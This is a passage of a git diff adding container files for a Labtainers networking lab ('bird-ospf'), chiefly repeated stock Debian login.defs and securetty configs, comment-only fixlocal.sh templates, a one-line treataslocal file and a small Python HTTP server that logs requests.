console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/tap/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/treataslocal new file mode 100644 index 000000000..74180cc29 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_bin/treataslocal @@ -0,0 +1 @@ +wget diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/MyHTTPServer.py new file mode 100755 index 000000000..beb15b79a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler +os.chdir('/home/ubuntu') +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can 